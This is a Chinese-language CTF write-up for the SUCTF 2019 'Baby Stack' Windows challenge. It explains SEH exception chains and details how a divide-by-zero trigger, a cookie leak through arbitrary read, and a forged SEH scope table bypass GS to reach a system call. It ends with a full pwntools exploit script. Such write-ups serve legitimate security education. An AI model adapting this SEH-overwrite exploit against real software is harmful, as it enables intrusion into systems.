Baby Stack¶
SUCTF 2019
Windows SEH¶
windows下通过SEH机制处理异常。在进程运行发生异常时,windows委托进程进行处理。若程序中有预先构造的异常处理链(SEH链),则程序会根据SEH链处理异常,并按照指示继续执行;若程序中无SEH链,则系统会调用默认的SEH链处理异常,并将程序终止。
SEH链为单链表,结构体中存在两个元素:1、指向下一个SEH块的指针;2、异常处理函数。当一个进程触发异常处理时,会从SEH的第一个块开始遍历,若第一个块未能处理异常时,便将异常传递至下一个块进行处理,直到异常被处理或遍历完所有的SEH块。
通过Windbg获取teb之后,可从teb表地址获取SEH链地址,从而遍历SEH链,从中可以看到SEH块中的结构。
0:000> !teb Wow64 TEB32 at 00000000009b1000 ...... 0:000> dt ntdll!_EXCEPTION_REGISTRATION_RECORD -l next poi(9b1000) next at 0x00000000`009b3000 --------------------------------------------- +0x000 Next : 0x00b00000`ffffffff _EXCEPTION_REGISTRATION_RECORD +0x008 Handler : 0x00000000`00aff000 _EXCEPTION_DISPOSITION +aff000 next at 0x00b00000`ffffffff --------------------------------------------- +0x000 Next : ???? +0x008 Handler : ???? Memory read error 00b0000100000007
操作系统中常见的异常如下:
windows-SEH详解 看雪论坛 https://bbs.pediy.com/thread-249592.htm
分析调试¶
题目初始时即告诉了栈的地址和main函数的地址,但需要注意的是给的地址是存储main函数地址的值的地址,即指向main函数的指针的地址。
与题目交互的唯一方式就是输入的字符串,而通过静态分析看到该字符串存在栈上,而经过strlen判断字符串长度之后,进行了某些运算,然后调用输出字符串的函数,而后退出。而输入采用的是控制输入个数的scanf_s一类函数,因此栈溢出的可能性较小。
因此,考虑通过覆盖SEH后,触发异常,跳到伪造的SEH中。而通过操作系统的常见异常,判断可能在本程序中触发的异常有:浮点数溢出、读写不可访问地址或除数为0.
首先排除最容易的,除数为0。判断除数为0的方式是先找到是否存在除法,只要存在除法,就有除数为0的可能。通过字符串搜索,在汇编指令中搜索“div”指令来判断是否存在除法。
通过搜索结果可以看到,存在大量的除法,因此很有可能可以构造除0导致SEH。
从第一个看起,在main函数中有一次div操作,在运算之后,输出字符串之前。
而除数[esi]是通过运算 $$ [esi] - [eax] $$ 得到的,而[esi]又是栈上的值传递进来esi得到的,而该值又是通过main函数中的计算过程得到的:
因此我们如果能构造出合适的v30,使之与eax相等,则可以使除数为0,触发SEH。
通过动态调试,可以看到eax的值。多次调试之后,发现无论输入如何改变,最终eax的值是从栈中pop出来的,只与指向main函数指针的地址成固定偏移,为4BF3。因此: $$ [eax] = MAINaddress + 4BF3 $$
而通过运算部分反推如下:先逆出运算部分的代码,并简化,如下:
int v7 = 0; int v30 = 0; for(v22 = 0; v22 < 8; v22++) { char v23 = v31[v22]; //v31为输入字符串 if(v23 - '0' > 9)//判断字符如果不为数字 { if(v23 - 'A' <= 5)//如果为大写的A~F { v7 = v23 + 0x10 * v7 - 0x37; v30 = v7; } } else//数字或者ASCII小于数字的字符 { v7 = v23 + 0x10 * (v7 - 0x3); v30 = v7; } }
可以看出,实际上是把输入的字符串转换为16进制数,存在v30中,然后被传入esi。需要注意的是输入的字母必须为大写。因此,输入00D78551即可,其中0用来占位,以达到8位。
此时,我们触发了SEH,进入异常处理函数,通过结构体可以看到,进入了另一个特定的函数
可以看到,这个函数中,在一个10次的循环中,可以任意地址读。而另一个函数,第三个参数存储在栈上,第四个参数为0x100,猜测有可能会导致栈溢出。因此,我们可以考虑是否能栈溢出覆盖返回地址,从而getshell。或者,我们也可以考虑通过读非法地址或者栈溢出而再次触发异常。而此处我们可以任意地址读,因此我们可以考虑伪造一个SEH块。因此,我们先查找看看是否有system函数可以调用。
找到一个直接call system的地址,跳进去看,发现还是在之前那个函数中,但是未被反编译,直接通过call system执行type flag.txt。如果我们能控制程序跳到这个地方,则可以直接拿到flag。
而这个位置可以通过和指向main函数的指针的地址的偏移来计算
因此可以通过 $$ *MAINaddress+8266-3963 = *MAINaddress + 4903 $$ 来跳转到获取flag指令的地址。
那么如何触发任意地址读和触发栈的函数?
任意地址读只是通过strcmp判断,因此只要输入yes即可。
栈的函数则需要通过双层if,只要输入不为yes,不为no的任意字符串即可。
下一步即可以开始构造SEH块了,先想办法读取上一个SEH块。可以从main函数中看到,上一个SEH块信息存入栈中时与一个___security_cookie做了异或,因此通过指向main函数的指针的地址加上偏移值获取该cookie.
由此可知, $$ cookie = *MAINaddress - 03963 + 7c004 = *MAINaddress + 786a1 $$ 因此,我们可以通过这个值伪造GS,从而绕过GS。
而栈上值的地址可以通过栈基址加偏移获取。
在栈上伪造SEH、GS之后,就可以通过栈溢出或者读非法地址来触发SEH了。因为再次构造栈溢出怕会覆盖之前构造的SEH,因此直接触发任意地址读写,然后输入任一字符就可以了。
EXP¶
由于比赛服务器关闭,因此通过windows配置开放SSH给ubuntu,进行测试。
from pwn import * context.log_level="debug" p=remote("192.168.43.254",22) p.sendline("BabyStack.exe") p.recvuntil("stack address = ") stack_addr=int(p.recvuntil("\n").strip(),16) p.recvuntil("main address = ") main_addr=int(p.recvuntil("\n").strip(),16) I_know = hex(main_addr+0x4BF3)[2:].upper().rjust(8,"0") #print hex(stack_addr),hex(main_addr) stack1 = stack_addr - 0x3C stack2 = stack_addr - 0x38 stack3 = stack_addr - 0x34 stack4 = stack_addr - 0x30 shell = main_addr + 0x4903 SEH_scope_table = p32(0xFFFFFFE4) SEH_scope_table += p32(0) SEH_scope_table += p32(0xFFFFFFC0) SEH_scope_table += p32(0) SEH_scope_table += p32(0xFFFFFFFE) SEH_scope_table += p32(shell) SEH_scope_table += p32(shell) cookie_addr = main_addr + 0x786A1 GS_addr=stack_addr - 0x18 #pause() p.recvuntil("So,Can You Tell me what did you know?\n") p.sendline(I_know) p.recvuntil("Do you want to know more?\n") p.sendline("yes") p.recvuntil("Where do you want to know?\n") p.sendline(str(cookie_addr)) p.recvuntil("is ") cookie=int(p.recvuntil("\n"),16) #print hex(cookie) p.recvuntil("Do you want to know more?\n") p.sendline("yes") p.recvuntil("Where do you want to know?\n") p.sendline(str(stack1)) p.recvuntil("is ") stack11=int(p.recvuntil("\n"),16) #print hex(stack11) p.recvuntil("Do you want to know more?\n") p.sendline("yes") p.recvuntil("Where do you want to know?\n") p.sendline(str(stack2)) p.recvuntil("is ") stack22=int(p.recvuntil("\n"),16) #print hex(stack22) p.recvuntil("Do you want to know more?\n") p.sendline("yes") p.recvuntil("Where do you want to know?\n") p.sendline(str(stack3)) p.recvuntil("is ") stack33=int(p.recvuntil("\n"),16) #print hex(stack33) p.recvuntil("Do you want to know more?\n") p.sendline("yes") p.recvuntil("Where do you want to know?\n") p.sendline(str(stack4)) p.recvuntil("is ") stack44=int(p.recvuntil("\n"),16) #print hex(stack44) payload = "A" * 4 payload += SEH_scope_table payload += "A" * 112 #payload = "A" * 4 #payload = "A" * 4 #payload = "A" * 4 payload += p32(stack11) payload += p32(stack22) payload += p32(stack33) payload += p32(stack44) payload += p32(main_addr+0x1019A30-0x101395E) payload += p32(cookie^GS_addr) payload += p32(0) #pause() p.recvuntil("Where do you want to know?\n") p.sendline("aaa") p.sendline(payload) p.recvuntil("Do you want to know more?\n") p.sendline("yes") p.recvuntil("Where do you want to know?\n") p.sendline("aaa") p.interactive()